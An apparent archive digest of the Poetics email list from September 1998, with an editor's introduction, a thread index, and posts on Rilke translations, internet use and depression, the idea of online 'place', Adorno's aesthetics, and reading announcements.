The month's largest sustained conversation was, fittingly, about whether a text can survive being handled. Rachel Loden confessed a virulent allergy to Stephen Mitchell's Rilke, and the room fell to re-typing Herbsttag in the German and setting rival Englishings beside it, auditing each for fidelity line by line. It ran alongside a second thread, textual abuse, in which Ron Silliman opened one of his early books to find a young publisher had re-broken all its lines to fit a format — *"totally violated"*, he wrote — while others traded their own errata and mutilations. Both threads worried the same nerve: the poem that will not stay as its author left it, the words that slip the moment another hand touches them.

The quarrel proper was about a smaller custody. Gabriel Gudding opened a thread soliciting the names of contest judges who had given the prize to their own students — Jorie Graham, Heather McHugh, Charles Wright among those named — and the room split on whether this was corruption or simply how the world works. Eliza McGrand found it plainly wrong: *"personally i think such behavior dishonest and offensive."* Fred Muratori, half-egging Gudding toward an exposé, supplied the month's motto for such matters — *"What the hell -- it's the Age of Lewinsky."* Even the list's private scandal, it turned out, could only be named by borrowing the nation's.

Against all this custody and grievance ran the month's happiest translation. The home-run chase reached the list, but only once it could be turned into a matter of names: the fan who caught McGwire's sixty-first was a Michael Davidson, which is also a poet's name, and that was reason enough. Susan Schultz, watching Sosa close in, offered the room's whole method in five words — *"Maybe Lorca*

can catch it." The biggest sporting story of the decade was admitted the instant it could be made to rhyme with poetry, and not a moment before.

And the year's largest story of all entered the same way. Mark Weiss proposed, only half in jest, that a poetry press publish the public-domain Starr Report as a fundraiser; but the truest emblem came from Aldon Nielsen, who reported that on the talking-head panels a Republican counsel had offered Clinton's gift of Leaves of Grass to a young intern as proof he must be lying — *"The good grey bard as prima facie"* evidence of perjury. There it is, the whole month in a phrase: the largest event in the country could enter this room only once Whitman had been placed in the dock. I have set the report beside the poems exactly as September filed them, because that is how the news reached this room at all — smuggled in under a poet's name.

— Kristen M. Fabians

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497. Juliana Spahr — island writing reading report
498. maz881 — Re: metal
499. Aviva Vogel — Rilke's Translators - What Does Each Offer?
500. Charles Alexander — berrigan's rilke
501. Mark Salerno — Re: Rilke
502. david bromige — McIntyre a Californian?!
503. henry — Re: Rilke's Translators - What Does Each Offer?
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507. Fred Muratori — Hard Press Still With Us?
508. Douglas Barbour — Re: carrying Rilke over into english
509. Michael Kelleher — Reading
510. Gary Sullivan — Rilke en Neuva York?
511. Gary Sullivan — Re: An interlinear translation
512. Hilton Manfred Obenzinger — Re: metal
513. MAYHEW — An interlinear translation
514. Laura E. Wright — Re: Rilke
515. Gary Sullivan — Homophonic translation of Mayhew's Sullivan's Bromige's McIntyre's Rilke
516. David Baratier — bored non translator stasis

517. Ken Edwards — REALITY STREET EDITIONS - new books
518. J. Pecqueur — Re: Rilke, Norton, and a new version
519. louis stroffolino — Re: Rilke
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521. Jordan Davis — mitchell and snow
522. henry gould — Re: mitchell and snow
523. r.drake — Re: Rilke
524. Eric Blarnes — rilke
525. David Zauhar — Re: Rilke
526. Laura E. Wright — Re: exercise
527. Leonard Brink — NEW ON-LINE JOURNAL
528. Michael Scharf — Re: Rilke
529. BETSY ANDREWS — bored into trouble
530. Spencer Selby — Mag List #62
531. Safdie Joseph — Re: even more rilke
532. David Baratier — Re: the general plight
533. Mark Weiss — the general plight
534. david bromige — not the last word on Rilke. . .
535. David Baratier — Re: the general plight
536. David Baratier — Re: the general plight (ignore last)
537. Travis Andrew Ortiz — SF Reading / Travis Ortiz and Sarah Rosenthal
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543. shemurph — Re: Mag List #62
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545. Mark Weiss — Re: the general plight
546. George Bowering — Re: Rilke en Neuva York?
547. Lawrence Upton. — Re: Rilke... Re Vatican
548. Gary Sullivan — Re: Rilke en NUEva York.
549. MAYHEW — WCW's line
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551. Mark Prejsnar — Wittgenstein's true importance
552. david bromige — the third space
553. MAYHEW — Re: Wittgenstein's true importance
554. Maria Damon — self-etc
555. Pierre Joris — Re: not the last word on Rilke. . .
556. Sylvester Pollet — Re: self-etc
557. Jacques Debrot — Re: Wittgenstein's true importance
558. David Baratier — Re: rilke
559. louis stroffolino — Re: WCW's line
560. louis stroffolino — St. Mark's Rain Taxi
561. Aldon Nielsen — mag list 62
562. Rachel Loden — Mitchell, Rilke etc.
563. joel lewis — f.y.i.
564. david bromige — Dongs and Noses
565. Mark Weiss — Re: f.y.i.

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567. George Bowering — Re: the third space
568. Gabriel Gudding — Re: St. Mark's Rain Taxi
569. Jack Spandrift — Re: Mitchell, Rilke etc.

570. Pierre Joris — Rushdie
571. Pierre Joris — Cixous/Derrida
572. Mark Prejsnar — mahound of the baskervilles
573. Karen Kelley — Re: Cixous/Derrida
574. Andrew Rathmann — Re: Mitchell, Rilke etc.
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576. Safdie Joseph — Re: the third space
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579. Joe Amato/Kass Fleisher — fyi...
580. Ryan Whyte — APORIAs
581. Mark Weiss — Re: Cixous/Derrida
582. Gabriel Gudding — Epoch Mag Needs Help
583. Mark Weiss — Reading
584. Hugh Steinberg — Re: Epoch Mag Needs Help
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603. r. drake — new Onyx (fwd)
604. Gwyn McVay — Babelfish translation
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613. Gwyn McVay — [Fwd: Une saison en enfer]
614. Lawrence Upton. — Re: <No subject given>
615. Katherine Lederer — Re: stupidity
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623. Michael Kelleher — Kamau Braithwaite
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626. Aviva Vogel — Re: mitchell
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634. Hugh Steinberg — Re: teaching poetry
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641. Kathy Lou Schultz — Re: teaching poetry
642. Poetics List — Welcome to Poetics List
643. MAXINE CHERNOFF — Re: st. marks experiment book.
644. MAXINE CHERNOFF — Re: teaching poetry
645. Sylvester Pollet — Re: FWD help to find data on concrete poem
646. Hank Lazer — Re: teaching poetry
647. Alaric Sumner — FWD help to find data on concrete poem
648. Pierre Joris — Re: [Fwd: Une saison en enfer]
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651. louis stroffolino — Re: Levistky--O'Connor
652. james perez — not for general consumption
653. David Baratier — New Title
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655. Jacques Debrot — Re: thanks
656. s. kaipa — Re: Evguenie Sokolov by Serge Gainsbourg
657. Tosh — Re: Evguenie Sokolov by Serge Gainsbourg
658. P.Standard Schaefer — Epoch/Fiction
659. Edward Fristrom — Re: Levistky--Connor & didacticism
660. Mark DuCharme — Re: st. marks experiment book.
661. Catherine Daly — Re: UK Middle School
662. David Baratier — Above The Human Nerve Domain_ by Will Alexander
663. David Baratier — Right Livelihood
664. Tom Beard — Re: Levistky--Connor & didacticism

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666. Eliza McGrand — walking before running (teaching poetry)
667. Agent Sunshine, a.k.a. Eric Gleason — Re: st. marks experiment book
668. Stephen Cope — Re: st. marks experiment book
669. K.Angelo Hehir — Re: st. marks experiment book.
670. Lawrence Upton. — Re: UK Middle School
671. J. Fuhrman — Re: st. marks experiment book.
672. henry — Re: walking before running (teaching poetry)
673. Peter Ganick — Potes & Poets chapbooks in detail
674. Sylvester Pollet — Re: thanks
675. henry — Re: Levistky--O'Connor

676. daniel bouchard — Re: thanks
677. MAYHEW — didacticism
678. Jordan Davis — Kyle's didactics / Rachel's energy
679. Poproj — Re: the dog & the disrupted surface
680. David Baratier — Philly's didactics
681. james perez — Re: didacticism
682. Aldon Nielsen — Susan Wheeler Reading in L.A.
683. Agent Sunshine, a.k.a. Eric Gleason — Re: mayer's experiments
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694. Rachel Levitsky — Re: hate to
695. David Baratier — Re: Philly's didactics
696. Jim McCrary — Re: First Intensity #11
697. Roger Farr — Public Secrets
698. Poproj — zinc bar oct shed
699. Laura E. Wright — Re: Kyle's didactics / Rachel's energy
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701. Eliza McGrand — Re: Teachers Awarding Students Prizes
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703. Fred Muratori — Re: Teachers Awarding Students Prizes
704. Gabriel Gudding — Re: Teachers Awarding Students Prizes
705. Gabriel Gudding — Re: Teachers Awarding Students Prizes
706. henry gould — Re: Teachers Awarding Students Prizes
707. David Zauhar — Re: more writing experiments
708. MJ Devaney — Re: Arts and Letters Daily Website
709. Brian Lennon — Xenia 2: Call for submissions
710. Eliza McGrand — Re: Teachers Awarding Students Prizes
711. Kathy Lou Schultz — Re: Kyle's didactics / Rachel's energy

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712. Todd Baron /*/ ReMap — Re: teaching poetry

1. A. Jenn Sondheim

Re: Cheering Thought And Location

Tue 1 Sep 1998

On Mon, 31 Aug 1998, Laura E. Wright wrote:

> *This takes us back to location: the internet as location rather than activity/passivity. Where are we when we are here? I think Alan Sondheim's work is situated somewhat in this "site." It's a pretty new "place" and that may be what makes his work difficult to many of us?*
>
> *Nothing wrong with depression, either,*
> *Laura*

I've been writing about the concept of handshaking, which I've taken from a book by Robin Milner, Communication and Concurrency, on parallel pro- cessing models, and in it he defines a storage register as a process instead of an entity - as operations/flows and transformations. I tend to think of the Net in the same manner, not so much a site or location as interpenetrating processes and protocols often loosely connected, and related as well in what is called a "nearly decomposable hierarchy" - in other words, one can write in a unix editor without worrying about the operations of the kernel, or write online in Pine without worrying about the underlying TCP/IP protocols.

Even defining the Net, say, as an accumulation of accessible locations (addresses and URLs) becomes problematic; there are hidden sites that hackers use, sites that are only present when the user chooses to make them so (in both Win95 and linux I have "private" Webpages that I can present as a server when I'm online), sites behind firewalls, sites that no longer exist, sites that are connected to other networks that may or may not be connected to the Net, dynamic IP allocation which in a sense creates sites on the fly, and so forth. There is also disagreement con- concerning who is or is not online - the definitions vary.

Approaching this through postmodernist theory helps a great deal, as do feminisms emphasizing writing on the body, flows, inhabitation.

And all of this really does revolve around the body - the body of the text, the body of the avatar, sexualizations and desires within and without both, problems of communication, noise, parasites...

Btw, I think a _lot_ can be wrong with depression, but what some people are now calling IAD, internet addiction disorder, has other causes - the Net is a symptom or byproduct in a lot of cases. On the other hand, when teaching Internet, one finds that students are often disappointed that the Net is simpler, is relatively harsh, is far too interactive, involves too much information and too many parameters, etc.

Alan

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2. Thomas Bell
Re: Cheering Thought And Location
Tue 1 Sep 1998

Depression does tend to come upon the more intelligent of the people (they may see life as it is in some sense). The study in questiion would then mean that people learned from their on-line experiences, no?

but your poinnt aboout this as a new "place" is intriguing - there tends to be no positive feedback. When I write something as remarkably perceptive as this, I have to stop expecting to receive 800 "bravos" or I will get depressed?

tom bell

Laura E. Wright wrote:
>
> This takes us back to location: the internet as location rather than
> activity/passivity. Where are we when we are here? I think Alan Sondheim's work
> is situated somewhat in this "site." It's a pretty new "place" and that may be
> what makes his work difficult to many of us?
>
> Nothing wrong with depression, either,
> Laura
>
> Mark Weiss wrote:
>
> > As a veteran reader of social science research I'm always a little
> > sceptical, and only a reading of the protocols for the study would answer
> > my specific concerns. A favorite of mine was a study that purported to find
> > that epileptics are stranger than other people even between seizures. The
> > researcher suggested in his conclusion that there might be undetected
> > brain-wave abnormalities present. Of course, despite the well-known side
> > effects of most anti-spasmodics he didn't differentiate in his tiny sample
> > between those on medication and those not. Nor did he take into account the
> > impact of the stress caused by the expectation of seizures or the prejudice
> > against people who sometimes demonstrate showy symptoms in public.
> > Then there's the one I'm sure everyone on the list remembers that purported
> > to demonstrate that if you went to the writing program at Iowa you were in

> > danger of becoming manic-depressive, or the recent one that claimed that
> > younger siblings are more likely to be revolutionaries than the eldest child.
> > Here, it would be nice to know how depression was diagnosed, how the
> > control group was constituted, and if, perhaps, more depressed people with
> > fewer social ties were more likely to resort to the internet. In other
> > words, did the internet make them depressed or did depression make them
log
> > on? Kind of like asking if coughing causes TB or the other way around. But
> > Professor Kraut probably got tenure for this one.
> >
> > At 07:36 PM 8/31/98 -0400, you wrote:
> > >In regard to the often cloying obligato about "web communities,"
> > >e-communities etc etc, the AP proffers teh following:
> > >
> > >"The more hours people spend on the Internet, the more depressed,
stressed
> > >and lonely they feel, according to a groundbreaking study that surprised
> > >its authors.
> > >
> > >Internet use had the same effect even for people who spent most of their
> > >time in such social activiites as chat rooms or exchanging e-mail, said
> > >the study headed by Robert Kraut, a social psychology professor at
> > >Carnegie Mellon Institute in Pittsburgh.
> > >
> > >Sociable users end up feeling just as isolated as users who spent more
> > >time crawling the Web for information, Kraut said Sunday.
> > >
> > >One reason for the negative effect might have been that using the Inter-
net
> > >left less time for the deeper relationships of friends and family, Kraut
> > >suggested.
> > >
> > >'People are substituting weaker social ties for stronger ones,' he said.
> > >'They're substituting conversations on narrower topics with strangers for
> > >conversations with people who are connected to their life.'
> > >
> > >It was the first study to examine the emotional impact of people's
> > >Internet use over time, Kraut said.
> > >
> > >The findings contradicted the researchers' expectations."
> > >
> > >

>
> --
> Laura Wright
> Library Assistant
> Allen Ginsberg Library, The Naropa Institute
> 2130 Arapahoe Ave
> Boulder, CO 80302
> [redacted]
> * * * * * *
> "All music is music..." -- Ted Berrigan
> * * * * * *
> "It is very much like it" -- Gertrude Stein

↑ Index

3. Mark Salerno

Arshile Tenth Issue Benefit Readings

Tue 1 Sep 1998

Dear Friends:

Arshile is pleased to announce that it will be celebrating the publication of its Tenth Issue with two benefit readings. The locations and participants for each event are as follows:

Arshile Benefit Reading at Beyond Baroque
Beyond Baroque Literary Arts Center
681 Venice Blvd.
Venice, California
Friday, October 30, 1998, 7:00 p.m.
Participants:
Sam Eisenstein
Carrie Etter
Kate Gale
Forrest Gander
Barbara Guest
Linda Healey
John Laskey
Lewis MacAdams
Stefanie Marlis
William Marsh
Martha Ronk
Hubert Selby, Jr.
Judith Taylor

Tony Towle
Paul Vangelisti
Scott Wannberg

Arshile Benefit Reading at New College of California
to be held in the Theater at New College
777 Valencia Street (at 19th Street)
San Francisco, California
Friday, November 13, 1998, 7:00 p.m.
Participants:
Nina Glaser
Barbara Guest
Jack Hirschman
Kevin Killian
John Laskey
Stefanie Marlis
Mark McManus
Laura Moriarty
Carl Rakosi
Jocelyn Saidenberg
Aaron Shurin

We will be asking a five dollars donation for each of these events, but ten dollars will buy both an admission and a copy of our Tenth Issue (retail price: $7.99).

Hope you will join us.

↑ Index

4. groberts
Re: Northwest Vizpo
Tue 1 Sep 1998

---

plane

_____CG?_____$$$$$$$$$$$$$$$

plane

_____CG!_____$$$$$$$$$$$$$$$

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plane

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```

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5. George Thompson

Re: ascetic aesthetics

Tue 1 Sep 1998

Well, when people whisper 'metonymic desire' in my ear, what I see is the middle-aged tow-truck driver in my town who got caught collecting ladies underwear in his tool cabinet.

GT

> *How would this be different from Freudian association?*
>
> *Metonymic, as Lacan used it in relation to desire, could mean 'serial'. Lacan proposed that desire proliferated in "metonymic chains", series of objects related contiguously rather than essentially.*

↑ Index

6. Mark Salerno

Looking For Michael Anania

Tue 1 Sep 1998

Anyone with contact information (e-mail, telephone, street address) for Michael Anania in Chicago, please backchannel.

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7. MAYHEW
Re: Ascetic aesthetics
Tue 1 Sep 1998

Here is a quote from Adorno that typifies the sort of mentality I was talking about. He makes the Kant connection himself, only Kant didn't go far enough in his view:

"The precondition for the autonomy of artistic experience is the abandonment of the attitude of tasting and savouring. The trajectory leading to aesthetic autonomy passes through the stage of disinterestedness; and well it should, for it was during this stage that art emancipated itself from cuisine and pornography, an emancipation that has become irrevocable. However, art does not come to rest in disinterestedness. It moves on. And in so doing it reproduces, in different form, the interest inherent in disinterestedness. In a false world all_ hedone_ is false. This goes for artistic pleasure, too. Art renounces happiness for the sake of happiness, thus enabling desire to survive in art."

Contrast this with Bourdieu's critique of Kant in "A Vulgar Critique of Pure Aesthetics" in _Distinctions_ and O'Hara's "Too many poets act like a middle-aged mother trying to get her kids to eat too much cooked meat... I don't give a damn whether they eat or not..."

As I understand it, Lacan's metaphor and metonymy correspond to Freud's condensation and displacement. Lacan maps Jakobson's bi-polar terms onto Freud's analysis of dream symbolism.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

8. Judy Roitman
Re: Cheering Thought
Tue 1 Sep 1998

> *As a veteran reader of social science research I'm always a little sceptical, and only a reading of the protocols for the study would answer my specific concerns. A favorite of mine was a study that purported to find that epileptics are stranger than other people even between seizures. The researcher suggested in his conclusion that there might be undetected brain-wave abnormalities present. Of course, despite the well-known side effects of most anti-spasmodics he didn't differentiate in his tiny sample between those on medication and those not. Nor did he take into account the*

> *impact of the stress caused by the expectation of seizures or the prejudice against people who sometimes demonstrate showy symptoms in public. Then there's the one I'm sure everyone on the list remembers that purported to demonstrate that if you went to the writing program at Iowa you were in danger of becoming manic-depressive, or the recent one that claimed that younger siblings are more likely to be revolutionaries than the eldest child. Here, it would be nice to know how depression was diagnosed, how the control group was constituted, and if, perhaps, more depressed people with fewer social ties were more likely to resort to the internet. In other words, did the internet make them depressed or did depression make them log on? Kind of like asking if coughing causes TB or the other way around. But Professor Kraut probably got tenure for this one.*

The report I read indicated that depressed people were less likely to resort to the internet. Depression was measured by self-descriptive suvey questions.

Not defending the study, just saying it avoided the obvious traps.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

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9. Henry G
Re: Ascetic aesthetics
Tue 1 Sep 1998

On Tue, 1 Sep 1998 08:35:16 -0500 MAYHEW said:
>Here is a quote from Adorno that typifies the sort of mentality I was
>talking about. He makes the Kant connection himself, only Kant didn't go
>far enough in his view:
>
>"The precondition for the autonomy of artistic experience is the
>abandonment of the attitude of tasting and savouring. The trajectory
>leading to aesthetic autonomy passes through the stage of
>disinterestedness; and well it should, for it was during this stage that
>art emancipated itself from cuisine and pornography, an emancipation that
>has become irrevocable. However, art does not come to rest in
>disinterestedness. It moves on. And in so doing it reproduces, in
>different form, the interest inherent in disinterestedness. In a false

>world all_ hedone_ is false. This goes for artistic pleasure, too. Art
>renounces happiness for the sake of happiness, thus enabling desire to
>survive in art."

I'm not well-read in art philosophy but I always liked Aristotle's framework of ethos/pathos/logos - or values/emotion/reason - being fused in poetry. Seems to me art doesn't renounce anything - it just contains MORE of these elements than entertainment ("cuisine & pornography" in Adorno's pretentious phrase) does. The "precondition for artistic autonomy" is simply the artist's consciousness of his or her power to MAKE free art in the first place : rather than conforming to a particular imitation of an imitation or an audience's expectations. - Henry G

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10. Judy Roitman
Re: Cheering Thought And Location
Tue 1 Sep 1998

> *and in it he defines a storage register as a process*
> *instead of an entity...*
> *Alan*

We are all processes instead of entities.

Cheers.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

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11. Fredrik Hertzberg LIT
Re: ascetic aesthetics
Tue 1 Sep 1998

On Tue, 1 Sep 1998, George Thompson wrote:

or the 'serial' killer

> *Well, when people whisper 'metonymic desire' in my ear, what I see is the middle-aged tow-truck driver in my town who got caught collecting ladies underwear in his tool cabinet.*

> *How would this be different from Freudian association?*
>
> *Metonymic, as Lacan used it in relation to desire, could mean 'serial'. Lacan proposed that desire proliferated in "metonymic chains", series of objects related contiguously rather than essentially.*

↑ Index

12. Joe Amato/Kass Fleisher
location location dislocation...
Tue 1 Sep 1998

hey folks, back in chicago after a rejuvenating journey west... did some nice hiking in utah/idaho/wyoming/colorado/south dakota, and managed to connect with several on this list... was a great month away, in all...

i'm skeptical of all "net causes depression" claims, not b/c the net doesn't "cause" depression, but b/c i can't help but wonder what the implications might be for other media (tv, radio, etc.), and what the significance of the study might be in the context of these other media, esp. with even a minor nod in the direction of the development of these other media... i would think, that is, that it would be nigh impossible to bracket internet time as a thing-in-itself... and that constructing such research around the issue of whether the net "causes" depression or happiness (?) or just complacency might already be a bit overdetermined... but then i'd hate to sound as though all such attempts at social science research are of necessity w/o value... it's good to keep in mind, though, that the phenomenon under investigation is, let's see, about five years old in terms of a wide demographic (in the u.s.)...

in any case what prompts me to post---as to the question of place: i don't believe it's resolved by imagining (or positing) the body as an event (i.e., in time) marked by its flows, say... even if i do agree (with alan, judy, others) that it's beneficial to think of the human, of life as a process...

still, seems to me there's something distinctively... urban? at work in rendering place in such dynamically human terms, and i find it interesting that the more pastoral implications of the internet (as i read them) may be complemented (if i may) by theorizing its permeability, it's multilayeredness (ugh) as such... i say so in part b/c the constructedness of the world hits me over the head each time i come *back to* the big city (and i have a sort of spiritual connection, btw, with the hills of upstate ny---the east, i mean)... and each time i venture forth into nature (a different order of constructedness, let's say), i'm struck by the differences between or among enabling fictions/myths, locale to locale... i must admit to being less impressed (upon?!) by the flatland i've found mself caught in lo these last eight years... and i suppose, to leap ahead a bit, one could look at it

all in terms of geology (as some postmodern thinkers have), and then look at geology too as a (historical) process in which the living itself is implicated (i.e., categorically)...

but i'm also interested---check that, preoccupied with---this question of where i'd like to throw down some roots (i use the latter to provoke, sorry)... lots and lots and lots more has been written on landscape, and i don't certainly wish to simplify the issue any... but for me, spending time in front of the terminal has in fact *enhanced* my appreciation of the differences and similarities at work among urban, suburban, pastoral "locations," (note those quotes!), between east and west, between your home or hemisphere or mainframe and mine... and i find in fact that a sixty-mile drive through the desolate grazing land on rt. 40 west of steamboat springs ("no gas for 60 miles") rather throws into relief the nature [wink] of "community" too---how it varies, and how folks come to it differently on the basis of where they hang their hats (ok so you may not wear a hat)...

interesting that dinosaur national monument is located at the edge of those grazing lands i mention... a nexus of sorts between the prehistoric and the institutional, and an appropriately severe environment... i am, btw, beginning to view kent's and david's "bad language" exchange as accommodating the generally tacit nexus between the grammatical and the postcolonial...

which various matters i suppose speak a bit to that other thread too---the one about how community is a constructive way of approaching the creative process, about the need to interrogate different ways of coming to our public, poetic selves... true enough, and community is a really nice concept in getting my students to begin to cope with the hard work of relating their work to others... and yet there are genres (one i'm interested in at the moment---screenwriting), which by their very nature [wink] would seem to make their appeal to the popular somewhat more legible (i might also have mentioned books intended---outright intended---for the trades)... which is to say that there is good, even great popular work out there, and that it sometimes gets there by nodding from the get-go in the direction of the popular---much as this is a generally lamented feature of works with more mass appeal (not to conflate "mass" with "popular," mind you)... which suggests that the burden of thinking through popular screenwriting, just for example, as a generic activity enmeshed in considerations of community and career (etc.) is a somewhat different one than thinking through the poetic variant (and if i haven't lost sight that this site [wink[is ostensibly devoted to the latter, nor have i failed to consider that the "burden" i note is sometimes completely ignored by writers who achieve a measure of popular success---surely an economic issue in part)...

i suppose you can take this all to mean that at times i really long for a wider audience... that at times i really long to entertain that wider audience... that i generally have a hankering for my eggplant livia, but that sometimes a good cheeseburger hits the spot, yes? (rhetorical question addressed to a wider audience---and please to correlate my occasional yen for ground beef with that vast grazing land, above, and please to interpret my desire for a wider audience as a quasi-utopian suggestion that making money might actually result in some public good)...

well so, anyway... just some rambling thoughts... good to be back, to see all of your voices///

best,

joe

↑ Index

13. Marcella Durand
Trevor Joyce
Tue 1 Sep 1998

A while ago, I saw information posted about Trevor Joyce & his new book.

Whoever posted that, could you backchannel the info to me?

I'd much appreciate it.

Thanks,
Marcella Durand

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14. tracy s. ruggles
Re: Cheering Thought And Location
Tue 1 Sep 1998

I work for a company that tries to build these online community "places". We were all fairly surprised at the results, too. In fact, we even have a community for people w/ Depression. I'm always struggling with whether we're helping people or enabling them to ignore their "real" life. And, in many ways, I see this struggle in the same way I see the difference between _hearing_ poetry and _reading_ poetry.

I bet if someone did a study around the affects of reading, it would show that the more people read, the more depressed they'll become.

But, what is this place? Even here, on the POETICS list. My place here is my mail program, the specific folder in which all the POETICS email gets filtered

into, all these little voices speaking out at me. Sometimes I'm amazed that I can spend my whole work day sitting in front of my computer doing my work and never once having any real-world connection with somebody in the office. It's strange that we can create a "place" out of our interactions with a monitor and keyboard. It's strange that we can create a "place" out of paper and ink.

When is it the individual who creates the space, and when is it a true community space, created collectively?

--trace--

P.S. If you're interested in my company's web communities, check us out at <http://www.shn.net>. Our Depression community has their own "Creative Outlet" message board where they post their poetry...

Yesterday afternoon, Laura wrote:
>This takes us back to location: the internet as location rather than
>activity/passivity. Where are we when we are here? I think Alan Sondheim's work
>is situated somewhat in this "site." It's a pretty new "place" and that may be
>what makes his work difficult to many of us?
>
>Nothing wrong with depression, either,
>Laura
>
>Mark Weiss wrote:
>
>> As a veteran reader of social science research I'm always a little
>> sceptical, and only a reading of the protocols for the study would answer
>> my specific concerns. A favorite of mine was a study that purported to find
>> that epileptics are stranger than other people even between seizures. The
>> researcher suggested in his conclusion that there might be undetected
>> brain-wave abnormalities present. Of course, despite the well-known side
>> effects of most anti-spasmodics he didn't differentiate in his tiny sample
>> between those on medication and those not. Nor did he take into account the
>> impact of the stress caused by the expectation of seizures or the prejudice
>> against people who sometimes demonstrate showy symptoms in public.
>> Then there's the one I'm sure everyone on the list remembers that purported
>> to demonstrate that if you went to the writing program at Iowa you were in
>> danger of becoming manic-depressive, or the recent one that claimed that
>> younger siblings are more likely to be revolutionaries than the eldest child.
>> Here, it would be nice to know how depression was diagnosed, how the

>> control group was constituted, and if, perhaps, more depressed people with
>> fewer social ties were more likely to resort to the internet. In other
>> words, did the internet make them depressed or did depression make them
log
>> on? Kind of like asking if coughing causes TB or the other way around. But
>> Professor Kraut probably got tenure for this one.
>>
>> At 07:36 PM 8/31/98 -0400, you wrote:
>> >In regard to the often cloying obligato about "web communities,"
>> >e-communities etc etc, the AP proffers teh following:
>> >
>> >"The more hours people spend on the Internet, the more depressed,
stressed
>> >and lonely they feel, according to a groundbreaking study that surprised
>> >its authors.
>> >
>> >Internet use had the same effect even for people who spent most of their
>> >time in such social activiites as chat rooms or exchanging e-mail, said
>> >the study headed by Robert Kraut, a social psychology professor at
>> >Carnegie Mellon Institute in Pittsburgh.
>> >
>> >Sociable users end up feeling just as isolated as users who spent more
>> >time crawling the Web for information, Kraut said Sunday.
>> >
>> >One reason for the negative effect might have been that using the Internet
>> >left less time for the deeper relationships of friends and family, Kraut
>> >suggested.
>> >
>> >'People are substituting weaker social ties for stronger ones,' he said.
>> >'They're substituting conversations on narrower topics with strangers for
>> >conversations with people who are connected to their life.'
>> >
>> >It was the first study to examine the emotional impact of people's
>> >Internet use over time, Kraut said.
>> >
>> >The findings contradicted the researchers' expectations."
>> >
>> >
>
>
>
>--

>Laura Wright
>Library Assistant
>Allen Ginsberg Library, The Naropa Institute
>2130 Arapahoe Ave
>Boulder, CO 80302
>[redacted]
> * * * * * *
>"All music is music..." -- Ted Berrigan
> * * * * * *
>"It is very much like it" -- Gertrude Stein

↑ Index

15. **shana**
Re: Cheering Thought And Location
Tue 1 Sep 1998

On Tue, 1 Sep 1998, tracy s. ruggles wrote:

> *I work for a company that tries to build these online community "places". We were all fairly surprised at the results, too. In fact, we even have a community for people w/ Depression. I'm always struggling with whether we're helping people or enabling them to ignore their "real" life.*

It seems to me that the more we attach ourselves to inanimate objects that give us the ability to create places, a defintion of "real life" becomes more complex. You say that creating a place with ink and paper is strange. Why? There are so many ways to create places--poetics is a place, we've discerned that. A place is created when my friend in Ketchum, ID and I write letters to each other pretty stationery. People who call phone sex/phone chat lines create places (for just $2.99/minute, but...). The cool thing about creating a place on paper through correspondence is that there is much more room for all sorts of tangents; but email is cool, too, because it preserves the continuity of discussion. I don't really know if it is up to us to judge which place is more "real"--I can't help but do it anyway. Your face-to-face interactions are only as real as you make them, I suppose, and maybe that goes for other forms of interaction as well.

> *I bet if someone did a study around the affects of reading, it would show that the more people read, the more depressed they'll become.*

Seriously? Because they've created a place with x author and y subject rather than "real" people? Vladimir Rasputin (no, not *that* one) has a book of short stories, it's called _Siberia on Fire_, and his parents seem more "real" to me than my 70% of my colleagues. Don't you get more depressed when you're surrounded by people who are boring?

Oh, yes, hi there. I'm Shana Skaletsky. I hate these introductions because I don't know what to say, and I didn't want to post anything here until I felt I had something to say, and I just don't even know if I have anything to say for myself now. I'm going to just go back to reading the posts until my antennae are tweaked again.

shana
[redacted]
http://pages.nyu.edu/~ses9164

↑ Index

16. David W. McFadden

Re: poetic careerism

Tue 1 Sep 1998

[redacted] writes:
>Making poetry is always an address to an audience, a conversation - at the
>same time it is a process of the individual separating out from group
>ways of responding & cliches - at the same time it is a response to the
>models & heroes of tradition. So it is action at a distance in the
>quantum
>sense as well as a present, contemporary predicament. This DOES seem
>like an impossible, contradictory situation, until you remember that
>the reason people start making art in the 1st place is that it seems
>a process of tapping into a living energy - a vitality that makes the
>distinctions of past & present, near & distant, seem less absolute.
>There is this uncanny aspect of revitalizing dead voices & past or
>distant traditions - the model is resurrection - everything brought
>into the present in some way - the present of the poem...
>
>so tendencies leaning toward pure careerism or pure technique or
>pure antiquarianism seem more like weaknesses than strengths in the
>long run -

My only response is that this rings true all the way down the line. One might quibble about the word "pure" - but basically careerism, concern with technical aspects, antiquarianism, academicism, don't seem like weaknesses if the end product justifies their presence in the artist's life, if they have provided fuel for the production of his oeuvre. Nor do their opposites. Often what seem to be weaknesses when the poet is messily alive become strengths once he's safely dead, alive and dead being variable terms. Borges was probably being overly dismissive of "careerism" (and only looking at one small slice of the big picture) when he sneeringly dismissed Lorca as being nothing but "a professional

Andalusian." dwm "And as I was quite close to her my nails got caught in the front of her dress." - Henri Alain-Fournier. The Wanderer.

↑ Index

17. David W. McFadden
Re: Cheering Thought And Location
Tue 1 Sep 1998

Hope I've got the right thread. Was there a control group of people spending an equal amount of time in front of a computer screen but not on the Internet? Perhaps the incidence of depression wasn't a factor of the Internet as much as of the electromagntic emanations from the screen. After an hour or so on the computer I get a headache, whether I'm on the Net or not, and that can be a bit depressing. It's also depressing to consider what the long-term effects might turn out to be! dwm "'I am not a woman! Don't you understand? I am not a woman!' Jaromil kept shouting after him." - Milan Kundera, Life Is Elsewhere.

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18. r.drake
forward: Zero City Vol. 2 No. 2
Tue 1 Sep 1998

& in re recent threads on sticking close to one's
community, geographic or virtual... glad to see
this exsample of trancesending bounds, ie sheila
murphy's continued prescence in many places...
i fr one am encouraged by such, as a balance
to slews ov mags w/ closely matched casts ov
the "ususal suspects"... round 'em up, or round
'em out?

lbd

> *Zero City*
> *Volume 2 Number 2*
>
> *http://www.cruzio.com/~zerocity/*
>
> *Mack Dennis*
> *Mark Hartenbach*
> *Alan Kaufman*
> *Paul David Mena*
> *Sheila Murphy*

> *Bill Shields*
> *Ken Siegman*
> *Gabriele Strohschen*
> *Robert Sward*
> *Garland Thompson*
